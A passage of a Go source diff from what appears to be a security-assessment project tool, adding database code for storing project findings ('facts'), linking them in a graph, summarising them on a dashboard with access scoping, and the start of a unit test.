||||||
|
|
||||||
|
existing, err := db.GetProjectFactByKey(projectID, factKey)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("事实不存在")
|
||||||
|
}
|
||||||
|
if strings.ToLower(strings.TrimSpace(existing.Confidence)) != "deprecated" {
|
||||||
|
return fmt.Errorf("事实未处于废弃状态")
|
||||||
|
}
|
||||||
|
|
||||||
|
_, err = db.Exec(
|
||||||
|
`UPDATE project_facts SET confidence = ?, updated_at = ? WHERE project_id = ? AND fact_key = ?`,
|
||||||
|
confidence, time.Now(), projectID, factKey,
|
||||||
|
)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// DeleteProjectFact 删除事实(级联删除相关边)。
|
||||||
|
func (db *DB) DeleteProjectFact(id string) error {
|
||||||
|
f, err := db.GetProjectFact(id)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if err := db.DeleteProjectFactEdgesForKey(f.ProjectID, f.FactKey); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
_, err = db.Exec(`DELETE FROM project_facts WHERE id = ?`, id)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
func scanProjectFacts(rows *sql.Rows) ([]*ProjectFact, error) {
|
||||||
|
var out []*ProjectFact
|
||||||
|
for rows.Next() {
|
||||||
|
f, err := scanProjectFactFromRows(rows)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
out = append(out, f)
|
||||||
|
}
|
||||||
|
return out, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
func scanProjectFactRow(row *sql.Row) (*ProjectFact, error) {
|
||||||
|
var f ProjectFact
|
||||||
|
var pinned int
|
||||||
|
var createdAt, updatedAt string
|
||||||
|
err := row.Scan(
|
||||||
|
&f.ID, &f.ProjectID, &f.FactKey, &f.Category, &f.Summary, &f.Body, &f.Confidence,
|
||||||
|
&f.SourceConversationID, &f.SourceMessageID, &pinned,
|
||||||
|
&f.RelatedVulnerabilityID, &createdAt, &updatedAt,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
if err == sql.ErrNoRows {
|
||||||
|
return nil, fmt.Errorf("事实不存在")
|
||||||
|
}
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
f.Pinned = pinned != 0
|
||||||
|
f.CreatedAt = parseDBTime(createdAt)
|
||||||
|
f.UpdatedAt = parseDBTime(updatedAt)
|
||||||
|
return &f, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func scanProjectFactFromRows(rows *sql.Rows) (*ProjectFact, error) {
|
||||||
|
var f ProjectFact
|
||||||
|
var pinned int
|
||||||
|
var createdAt, updatedAt string
|
||||||
|
err := rows.Scan(
|
||||||
|
&f.ID, &f.ProjectID, &f.FactKey, &f.Category, &f.Summary, &f.Body, &f.Confidence,
|
||||||
|
&f.SourceConversationID, &f.SourceMessageID, &pinned,
|
||||||
|
&f.RelatedVulnerabilityID, &createdAt, &updatedAt,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
f.Pinned = pinned != 0
|
||||||
|
f.CreatedAt = parseDBTime(createdAt)
|
||||||
|
f.UpdatedAt = parseDBTime(updatedAt)
|
||||||
|
return &f, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func boolToInt(b bool) int {
|
||||||
|
if b {
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
func nullIfEmpty(s string) interface{} {
|
||||||
|
if strings.TrimSpace(s) == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseDBTime(s string) time.Time {
|
||||||
|
s = strings.TrimSpace(s)
|
||||||
|
if s == "" {
|
||||||
|
return time.Time{}
|
||||||
|
}
|
||||||
|
// go-sqlite3 读 DATETIME 常返回 RFC3339(含 T),写入时可能是空格分隔格式,需兼容多种形态
|
||||||
|
layouts := []string{
|
||||||
|
time.RFC3339Nano,
|
||||||
|
time.RFC3339,
|
||||||
|
"2006-01-02 15:04:05.999999999-07:00",
|
||||||
|
"2006-01-02 15:04:05-07:00",
|
||||||
|
"2006-01-02T15:04:05.999999999-07:00",
|
||||||
|
"2006-01-02T15:04:05-07:00",
|
||||||
|
"2006-01-02 15:04:05.999999999",
|
||||||
|
"2006-01-02 15:04:05",
|
||||||
|
"2006-01-02T15:04:05.999999999",
|
||||||
|
"2006-01-02T15:04:05",
|
||||||
|
}
|
||||||
|
for _, layout := range layouts {
|
||||||
|
if t, e := time.Parse(layout, s); e == nil {
|
||||||
|
return t
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return time.Time{}
|
||||||
|
}
|
||||||
@@ -0,0 +1,112 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ProjectDashboardFact 仪表盘跨项目近期事实条目。
|
||||||
|
type ProjectDashboardFact struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
ProjectID string `json:"project_id"`
|
||||||
|
ProjectName string `json:"project_name"`
|
||||||
|
FactKey string `json:"fact_key"`
|
||||||
|
Category string `json:"category"`
|
||||||
|
Summary string `json:"summary"`
|
||||||
|
Confidence string `json:"confidence"`
|
||||||
|
Pinned bool `json:"pinned"`
|
||||||
|
UpdatedAt time.Time `json:"updated_at"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// ProjectDashboardTotals 仪表盘项目事实汇总计数。
|
||||||
|
type ProjectDashboardTotals struct {
|
||||||
|
ActiveProjects int `json:"active_projects"`
|
||||||
|
TotalFacts int `json:"total_facts"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// ProjectDashboardSummary 仪表盘项目情报摘要。
|
||||||
|
type ProjectDashboardSummary struct {
|
||||||
|
RecentFacts []ProjectDashboardFact `json:"recent_facts"`
|
||||||
|
Totals ProjectDashboardTotals `json:"totals"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetProjectDashboardSummary 聚合跨项目近期事实(仅活跃项目、排除 deprecated)。
|
||||||
|
func (db *DB) GetProjectDashboardSummary(factLimit int) (*ProjectDashboardSummary, error) {
|
||||||
|
return db.GetProjectDashboardSummaryForAccess(factLimit, "", "")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) GetProjectDashboardSummaryForAccess(factLimit int, userID, scope string) (*ProjectDashboardSummary, error) {
|
||||||
|
if factLimit <= 0 {
|
||||||
|
factLimit = 5
|
||||||
|
}
|
||||||
|
if factLimit > 50 {
|
||||||
|
factLimit = 50
|
||||||
|
}
|
||||||
|
|
||||||
|
out := &ProjectDashboardSummary{
|
||||||
|
RecentFacts: []ProjectDashboardFact{},
|
||||||
|
}
|
||||||
|
|
||||||
|
projectAccess := ""
|
||||||
|
args := []interface{}{}
|
||||||
|
userID = strings.TrimSpace(userID)
|
||||||
|
if userID != "" && scope != RBACScopeAll {
|
||||||
|
projectAccess = ` AND (
|
||||||
|
p.owner_user_id = ?
|
||||||
|
OR EXISTS (
|
||||||
|
SELECT 1 FROM rbac_resource_assignments ra
|
||||||
|
WHERE ra.user_id = ? AND ra.resource_type = 'project' AND ra.resource_id = p.id
|
||||||
|
)
|
||||||
|
)`
|
||||||
|
args = append(args, userID, userID)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := db.QueryRow(`SELECT COUNT(*) FROM projects p WHERE p.status = 'active'`+projectAccess, args...).Scan(&out.Totals.ActiveProjects); err != nil {
|
||||||
|
return nil, fmt.Errorf("统计活跃项目失败: %w", err)
|
||||||
|
}
|
||||||
|
if err := db.QueryRow(
|
||||||
|
`SELECT COUNT(*) FROM project_facts f
|
||||||
|
INNER JOIN projects p ON p.id = f.project_id
|
||||||
|
WHERE f.confidence != 'deprecated' AND p.status = 'active'`+projectAccess,
|
||||||
|
args...,
|
||||||
|
).Scan(&out.Totals.TotalFacts); err != nil {
|
||||||
|
return nil, fmt.Errorf("统计事实失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
queryArgs := append([]interface{}{}, args...)
|
||||||
|
queryArgs = append(queryArgs, factLimit)
|
||||||
|
rows, err := db.Query(
|
||||||
|
`SELECT f.id, f.project_id, p.name, f.fact_key, f.category, f.summary, f.confidence, f.pinned, f.updated_at
|
||||||
|
FROM project_facts f
|
||||||
|
INNER JOIN projects p ON p.id = f.project_id
|
||||||
|
WHERE f.confidence != 'deprecated' AND p.status = 'active'`+projectAccess+`
|
||||||
|
ORDER BY f.pinned DESC, f.updated_at DESC
|
||||||
|
LIMIT ?`,
|
||||||
|
queryArgs...,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("查询近期事实失败: %w", err)
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
for rows.Next() {
|
||||||
|
var item ProjectDashboardFact
|
||||||
|
var pinned int
|
||||||
|
var updatedAt string
|
||||||
|
if err := rows.Scan(
|
||||||
|
&item.ID, &item.ProjectID, &item.ProjectName, &item.FactKey,
|
||||||
|
&item.Category, &item.Summary, &item.Confidence, &pinned, &updatedAt,
|
||||||
|
); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
item.Pinned = pinned != 0
|
||||||
|
item.ProjectName = strings.TrimSpace(item.ProjectName)
|
||||||
|
item.UpdatedAt = parseDBTime(updatedAt)
|
||||||
|
out.RecentFacts = append(out.RecentFacts, item)
|
||||||
|
}
|
||||||
|
if err := rows.Err(); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,410 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"database/sql"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/google/uuid"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ValidProjectFactEdgeTypes 项目事实图允许的边类型。
|
||||||
|
var ValidProjectFactEdgeTypes = map[string]struct{}{
|
||||||
|
"depends_on": {},
|
||||||
|
"leads_to": {},
|
||||||
|
"enables": {},
|
||||||
|
"exploits": {},
|
||||||
|
"discovered_on": {},
|
||||||
|
"contains": {},
|
||||||
|
"part_of": {},
|
||||||
|
"supports": {},
|
||||||
|
}
|
||||||
|
|
||||||
|
// ProjectFactEdge 项目事实关系边(source → target)。
|
||||||
|
type ProjectFactEdge struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
ProjectID string `json:"project_id"`
|
||||||
|
SourceFactKey string `json:"source_fact_key"`
|
||||||
|
TargetFactKey string `json:"target_fact_key"`
|
||||||
|
EdgeType string `json:"edge_type"`
|
||||||
|
Confidence string `json:"confidence"` // confirmed | tentative | deprecated
|
||||||
|
SourceConversationID string `json:"source_conversation_id,omitempty"`
|
||||||
|
CreatedAt time.Time `json:"created_at"`
|
||||||
|
UpdatedAt time.Time `json:"updated_at"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// ProjectFactEdgeInput 写入边时的输入(出边:source → To)。
|
||||||
|
type ProjectFactEdgeInput struct {
|
||||||
|
To string `json:"to"`
|
||||||
|
Type string `json:"type"`
|
||||||
|
Confidence string `json:"confidence,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// ProjectFactEdgeFromInput 写入入边时的输入(From → 当前事实)。
|
||||||
|
type ProjectFactEdgeFromInput struct {
|
||||||
|
From string `json:"from"`
|
||||||
|
Type string `json:"type"`
|
||||||
|
Confidence string `json:"confidence,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// ProjectFactGraphNode 图 API 节点。
|
||||||
|
type ProjectFactGraphNode struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
FactKey string `json:"fact_key"`
|
||||||
|
Category string `json:"category"`
|
||||||
|
Label string `json:"label"` // 图节点短标签(截断)
|
||||||
|
Summary string `json:"summary"` // 完整摘要(侧栏等详情用)
|
||||||
|
Confidence string `json:"confidence"`
|
||||||
|
Type string `json:"type"`
|
||||||
|
Pinned bool `json:"pinned"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// ProjectFactGraphEdge 图 API 边。
|
||||||
|
type ProjectFactGraphEdge struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
Source string `json:"source"`
|
||||||
|
Target string `json:"target"`
|
||||||
|
Type string `json:"type"`
|
||||||
|
Confidence string `json:"confidence"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// ProjectFactGraph 项目事实图。
|
||||||
|
type ProjectFactGraph struct {
|
||||||
|
Nodes []ProjectFactGraphNode `json:"nodes"`
|
||||||
|
Edges []ProjectFactGraphEdge `json:"edges"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// ValidateProjectFactEdgeType 校验边类型。
|
||||||
|
func ValidateProjectFactEdgeType(edgeType string) error {
|
||||||
|
edgeType = strings.TrimSpace(strings.ToLower(edgeType))
|
||||||
|
if edgeType == "" {
|
||||||
|
return fmt.Errorf("edge type 不能为空")
|
||||||
|
}
|
||||||
|
if _, ok := ValidProjectFactEdgeTypes[edgeType]; !ok {
|
||||||
|
return fmt.Errorf("无效的 edge type: %s", edgeType)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func normalizeEdgeConfidence(confidence string) string {
|
||||||
|
confidence = strings.TrimSpace(strings.ToLower(confidence))
|
||||||
|
switch confidence {
|
||||||
|
case "confirmed", "deprecated":
|
||||||
|
return confidence
|
||||||
|
default:
|
||||||
|
return "tentative"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ListProjectFactEdgesByProject 列出项目全部边。
|
||||||
|
func (db *DB) ListProjectFactEdgesByProject(projectID string) ([]*ProjectFactEdge, error) {
|
||||||
|
rows, err := db.Query(
|
||||||
|
`SELECT id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
|
||||||
|
COALESCE(source_conversation_id,''), created_at, updated_at
|
||||||
|
FROM project_fact_edges
|
||||||
|
WHERE project_id = ?
|
||||||
|
ORDER BY created_at ASC, rowid ASC`,
|
||||||
|
projectID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
return scanProjectFactEdges(rows)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ListOutgoingProjectFactEdges 列出某事实的全部出边。
|
||||||
|
func (db *DB) ListOutgoingProjectFactEdges(projectID, sourceFactKey string) ([]*ProjectFactEdge, error) {
|
||||||
|
rows, err := db.Query(
|
||||||
|
`SELECT id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
|
||||||
|
COALESCE(source_conversation_id,''), created_at, updated_at
|
||||||
|
FROM project_fact_edges
|
||||||
|
WHERE project_id = ? AND source_fact_key = ?
|
||||||
|
ORDER BY created_at ASC, rowid ASC`,
|
||||||
|
projectID, sourceFactKey,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
return scanProjectFactEdges(rows)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ListIncomingProjectFactEdges 列出某事实的全部入边。
|
||||||
|
func (db *DB) ListIncomingProjectFactEdges(projectID, targetFactKey string) ([]*ProjectFactEdge, error) {
|
||||||
|
rows, err := db.Query(
|
||||||
|
`SELECT id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
|
||||||
|
COALESCE(source_conversation_id,''), created_at, updated_at
|
||||||
|
FROM project_fact_edges
|
||||||
|
WHERE project_id = ? AND target_fact_key = ?
|
||||||
|
ORDER BY created_at ASC, rowid ASC`,
|
||||||
|
projectID, targetFactKey,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
return scanProjectFactEdges(rows)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ReplaceOutgoingProjectFactEdges 替换某事实的全部出边(links 省略时不调用)。
|
||||||
|
func (db *DB) ReplaceOutgoingProjectFactEdges(projectID, sourceFactKey, sourceConversationID string, inputs []ProjectFactEdgeInput) error {
|
||||||
|
sourceFactKey = strings.TrimSpace(sourceFactKey)
|
||||||
|
if sourceFactKey == "" {
|
||||||
|
return fmt.Errorf("source_fact_key 不能为空")
|
||||||
|
}
|
||||||
|
if _, err := db.Exec(
|
||||||
|
`DELETE FROM project_fact_edges WHERE project_id = ? AND source_fact_key = ?`,
|
||||||
|
projectID, sourceFactKey,
|
||||||
|
); err != nil {
|
||||||
|
return fmt.Errorf("清除旧边失败: %w", err)
|
||||||
|
}
|
||||||
|
for _, in := range inputs {
|
||||||
|
target := strings.TrimSpace(in.To)
|
||||||
|
if target == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if err := ValidateFactKey(target); err != nil {
|
||||||
|
return fmt.Errorf("target fact_key 无效 (%s): %w", target, err)
|
||||||
|
}
|
||||||
|
if target == sourceFactKey {
|
||||||
|
return fmt.Errorf("边不能指向自身: %s", sourceFactKey)
|
||||||
|
}
|
||||||
|
if err := ValidateProjectFactEdgeType(in.Type); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
edge := &ProjectFactEdge{
|
||||||
|
ID: uuid.New().String(),
|
||||||
|
ProjectID: projectID,
|
||||||
|
SourceFactKey: sourceFactKey,
|
||||||
|
TargetFactKey: target,
|
||||||
|
EdgeType: strings.ToLower(strings.TrimSpace(in.Type)),
|
||||||
|
Confidence: normalizeEdgeConfidence(in.Confidence),
|
||||||
|
SourceConversationID: sourceConversationID,
|
||||||
|
CreatedAt: time.Now(),
|
||||||
|
UpdatedAt: time.Now(),
|
||||||
|
}
|
||||||
|
if err := db.insertProjectFactEdge(edge); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ReplaceIncomingProjectFactEdges 替换某事实的全部入边(From 为来源 fact_key)。
|
||||||
|
func (db *DB) ReplaceIncomingProjectFactEdges(projectID, targetFactKey string, inputs []ProjectFactEdgeFromInput) error {
|
||||||
|
targetFactKey = strings.TrimSpace(targetFactKey)
|
||||||
|
if targetFactKey == "" {
|
||||||
|
return fmt.Errorf("target_fact_key 不能为空")
|
||||||
|
}
|
||||||
|
if _, err := db.Exec(
|
||||||
|
`DELETE FROM project_fact_edges WHERE project_id = ? AND target_fact_key = ?`,
|
||||||
|
projectID, targetFactKey,
|
||||||
|
); err != nil {
|
||||||
|
return fmt.Errorf("清除旧入边失败: %w", err)
|
||||||
|
}
|
||||||
|
for _, in := range inputs {
|
||||||
|
source := strings.TrimSpace(in.From)
|
||||||
|
if source == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if err := ValidateFactKey(source); err != nil {
|
||||||
|
return fmt.Errorf("source fact_key 无效 (%s): %w", source, err)
|
||||||
|
}
|
||||||
|
if source == targetFactKey {
|
||||||
|
return fmt.Errorf("边不能指向自身: %s", targetFactKey)
|
||||||
|
}
|
||||||
|
if err := ValidateProjectFactEdgeType(in.Type); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
sourceConversationID := ""
|
||||||
|
if srcFact, err := db.GetProjectFactByKey(projectID, source); err == nil && srcFact != nil {
|
||||||
|
sourceConversationID = srcFact.SourceConversationID
|
||||||
|
}
|
||||||
|
edge := &ProjectFactEdge{
|
||||||
|
ID: uuid.New().String(),
|
||||||
|
ProjectID: projectID,
|
||||||
|
SourceFactKey: source,
|
||||||
|
TargetFactKey: targetFactKey,
|
||||||
|
EdgeType: strings.ToLower(strings.TrimSpace(in.Type)),
|
||||||
|
Confidence: normalizeEdgeConfidence(in.Confidence),
|
||||||
|
SourceConversationID: sourceConversationID,
|
||||||
|
CreatedAt: time.Now(),
|
||||||
|
UpdatedAt: time.Now(),
|
||||||
|
}
|
||||||
|
if err := db.insertProjectFactEdge(edge); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetProjectFactEdge 按 ID 获取边。
|
||||||
|
func (db *DB) GetProjectFactEdge(edgeID string) (*ProjectFactEdge, error) {
|
||||||
|
var e ProjectFactEdge
|
||||||
|
var createdAt, updatedAt string
|
||||||
|
err := db.QueryRow(
|
||||||
|
`SELECT id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
|
||||||
|
COALESCE(source_conversation_id,''), created_at, updated_at
|
||||||
|
FROM project_fact_edges WHERE id = ?`, edgeID,
|
||||||
|
).Scan(&e.ID, &e.ProjectID, &e.SourceFactKey, &e.TargetFactKey, &e.EdgeType, &e.Confidence,
|
||||||
|
&e.SourceConversationID, &createdAt, &updatedAt)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("边不存在")
|
||||||
|
}
|
||||||
|
e.CreatedAt = parseDBTime(createdAt)
|
||||||
|
e.UpdatedAt = parseDBTime(updatedAt)
|
||||||
|
return &e, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// AddProjectFactEdge 新增单条边(已存在则更新 confidence)。
|
||||||
|
func (db *DB) AddProjectFactEdge(projectID string, in ProjectFactEdgeInput, sourceFactKey, sourceConversationID string) (*ProjectFactEdge, error) {
|
||||||
|
sourceFactKey = strings.TrimSpace(sourceFactKey)
|
||||||
|
target := strings.TrimSpace(in.To)
|
||||||
|
if sourceFactKey == "" || target == "" {
|
||||||
|
return nil, fmt.Errorf("source 与 target 必填")
|
||||||
|
}
|
||||||
|
if sourceFactKey == target {
|
||||||
|
return nil, fmt.Errorf("边不能指向自身")
|
||||||
|
}
|
||||||
|
if err := ValidateProjectFactEdgeType(in.Type); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if err := ValidateFactKey(target); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
now := time.Now()
|
||||||
|
e := &ProjectFactEdge{
|
||||||
|
ID: uuid.New().String(),
|
||||||
|
ProjectID: projectID,
|
||||||
|
SourceFactKey: sourceFactKey,
|
||||||
|
TargetFactKey: target,
|
||||||
|
EdgeType: strings.ToLower(strings.TrimSpace(in.Type)),
|
||||||
|
Confidence: normalizeEdgeConfidence(in.Confidence),
|
||||||
|
SourceConversationID: sourceConversationID,
|
||||||
|
CreatedAt: now,
|
||||||
|
UpdatedAt: now,
|
||||||
|
}
|
||||||
|
_, err := db.Exec(
|
||||||
|
`INSERT INTO project_fact_edges (
|
||||||
|
id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
|
||||||
|
source_conversation_id, created_at, updated_at
|
||||||
|
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||||
|
ON CONFLICT(project_id, source_fact_key, target_fact_key, edge_type)
|
||||||
|
DO UPDATE SET confidence = excluded.confidence, updated_at = excluded.updated_at`,
|
||||||
|
e.ID, e.ProjectID, e.SourceFactKey, e.TargetFactKey, e.EdgeType, e.Confidence,
|
||||||
|
nullIfEmpty(e.SourceConversationID), e.CreatedAt, e.UpdatedAt,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("添加边失败: %w", err)
|
||||||
|
}
|
||||||
|
// 返回最新
|
||||||
|
rows, err := db.Query(
|
||||||
|
`SELECT id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
|
||||||
|
COALESCE(source_conversation_id,''), created_at, updated_at
|
||||||
|
FROM project_fact_edges
|
||||||
|
WHERE project_id = ? AND source_fact_key = ? AND target_fact_key = ? AND edge_type = ?`,
|
||||||
|
projectID, sourceFactKey, target, e.EdgeType,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return e, nil
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
list, err := scanProjectFactEdges(rows)
|
||||||
|
if err != nil || len(list) == 0 {
|
||||||
|
return e, nil
|
||||||
|
}
|
||||||
|
return list[0], nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// DeleteProjectFactEdge 删除单条边。
|
||||||
|
func (db *DB) DeleteProjectFactEdge(edgeID string) error {
|
||||||
|
res, err := db.Exec(`DELETE FROM project_fact_edges WHERE id = ?`, edgeID)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
n, _ := res.RowsAffected()
|
||||||
|
if n == 0 {
|
||||||
|
return fmt.Errorf("边不存在")
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) insertProjectFactEdge(e *ProjectFactEdge) error {
|
||||||
|
_, err := db.Exec(
|
||||||
|
`INSERT INTO project_fact_edges (
|
||||||
|
id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
|
||||||
|
source_conversation_id, created_at, updated_at
|
||||||
|
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||||
|
e.ID, e.ProjectID, e.SourceFactKey, e.TargetFactKey, e.EdgeType, e.Confidence,
|
||||||
|
nullIfEmpty(e.SourceConversationID), e.CreatedAt, e.UpdatedAt,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("写入边失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// RenameProjectFactKeyEdges 事实 key 变更时同步边上的引用。
|
||||||
|
func (db *DB) RenameProjectFactKeyEdges(projectID, oldKey, newKey string) error {
|
||||||
|
oldKey = strings.TrimSpace(oldKey)
|
||||||
|
newKey = strings.TrimSpace(newKey)
|
||||||
|
if oldKey == "" || newKey == "" || oldKey == newKey {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
now := time.Now()
|
||||||
|
if _, err := db.Exec(
|
||||||
|
`UPDATE project_fact_edges SET source_fact_key = ?, updated_at = ?
|
||||||
|
WHERE project_id = ? AND source_fact_key = ?`,
|
||||||
|
newKey, now, projectID, oldKey,
|
||||||
|
); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
_, err := db.Exec(
|
||||||
|
`UPDATE project_fact_edges SET target_fact_key = ?, updated_at = ?
|
||||||
|
WHERE project_id = ? AND target_fact_key = ?`,
|
||||||
|
newKey, now, projectID, oldKey,
|
||||||
|
)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// DeleteProjectFactEdgesForKey 删除与某 fact_key 相关的全部边。
|
||||||
|
func (db *DB) DeleteProjectFactEdgesForKey(projectID, factKey string) error {
|
||||||
|
_, err := db.Exec(
|
||||||
|
`DELETE FROM project_fact_edges
|
||||||
|
WHERE project_id = ? AND (source_fact_key = ? OR target_fact_key = ?)`,
|
||||||
|
projectID, factKey, factKey,
|
||||||
|
)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// DeprecateProjectFactEdgesForKey 将关联边标记为 deprecated。
|
||||||
|
func (db *DB) DeprecateProjectFactEdgesForKey(projectID, factKey string) error {
|
||||||
|
now := time.Now()
|
||||||
|
_, err := db.Exec(
|
||||||
|
`UPDATE project_fact_edges SET confidence = 'deprecated', updated_at = ?
|
||||||
|
WHERE project_id = ? AND (source_fact_key = ? OR target_fact_key = ?)
|
||||||
|
AND confidence != 'deprecated'`,
|
||||||
|
now, projectID, factKey, factKey,
|
||||||
|
)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
func scanProjectFactEdges(rows *sql.Rows) ([]*ProjectFactEdge, error) {
|
||||||
|
var out []*ProjectFactEdge
|
||||||
|
for rows.Next() {
|
||||||
|
var e ProjectFactEdge
|
||||||
|
var createdAt, updatedAt string
|
||||||
|
if err := rows.Scan(
|
||||||
|
&e.ID, &e.ProjectID, &e.SourceFactKey, &e.TargetFactKey, &e.EdgeType, &e.Confidence,
|
||||||
|
&e.SourceConversationID, &createdAt, &updatedAt,
|
||||||
|
); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
e.CreatedAt = parseDBTime(createdAt)
|
||||||
|
e.UpdatedAt = parseDBTime(updatedAt)
|
||||||
|
out = append(out, &e)
|
||||||
|
}
|
||||||
|
return out, rows.Err()
|
||||||
|
}
|
||||||
@@ -0,0 +1,148 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestUpsertProjectFact_preservesBodyOnEmptyUpdate(t *testing.T) {
|
||||||
|
dbPath := filepath.Join(t.TempDir(), "facts.db")
|
||||||
|
db, err := NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
proj, err := db.CreateProject(&Project{Name: "test-facts"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
const body = "## 攻击链\n1. step\n```http\nGET / HTTP/1.1\n```\n"
|
||||||
|
_, err = db.UpsertProjectFact(&ProjectFact{
|
||||||
|
ProjectID: proj.ID,
|
||||||
|
FactKey: "finding/sqli-login",
|
||||||
|
Category: "finding",
|
||||||
|
Summary: "SQLi on /login",
|
||||||
|
Body: body,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
updated, err := db.UpsertProjectFact(&ProjectFact{
|
||||||
|
ProjectID: proj.ID,
|
||||||
|
FactKey: "finding/sqli-login",
|
||||||
|
